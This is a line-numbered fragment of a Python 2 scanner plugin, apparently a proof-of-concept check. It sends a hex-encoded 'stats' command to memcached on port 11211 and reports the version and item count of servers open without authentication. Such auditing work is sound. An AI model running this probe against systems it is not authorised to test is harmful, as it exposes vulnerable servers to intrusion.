| 27 | |
| 28 | |
| 29 | def poc(url): |
| 30 | url = host2IP(url) |
| 31 | port = int(url.split(':')[-1]) if ':' in url else 11211 |
| 32 | payload = '\x73\x74\x61\x74\x73\x0a' # command:stats |
| 33 | s = socket.socket() |
| 34 | socket.setdefaulttimeout(10) |
| 35 | try: |
| 36 | host = url.split(':')[0] |
| 37 | s.connect((host, port)) |
| 38 | s.send(payload) |
| 39 | recvdata = s.recv(2048) # response larger than 1024 |
| 40 | s.close() |
| 41 | if recvdata and 'STAT version' in recvdata: |
| 42 | ans_str = url |
| 43 | ans_str += ' | version:' + ''.join(re.findall(r'version\s(.*?)\s', recvdata)) |
| 44 | ans_str += ' | total_items:' + ''.join(re.findall(r'total_items\s(\d+)\s', recvdata)) |
| 45 | return ans_str |
| 46 | except Exception, e: |
| 47 | pass |
| 48 | return False |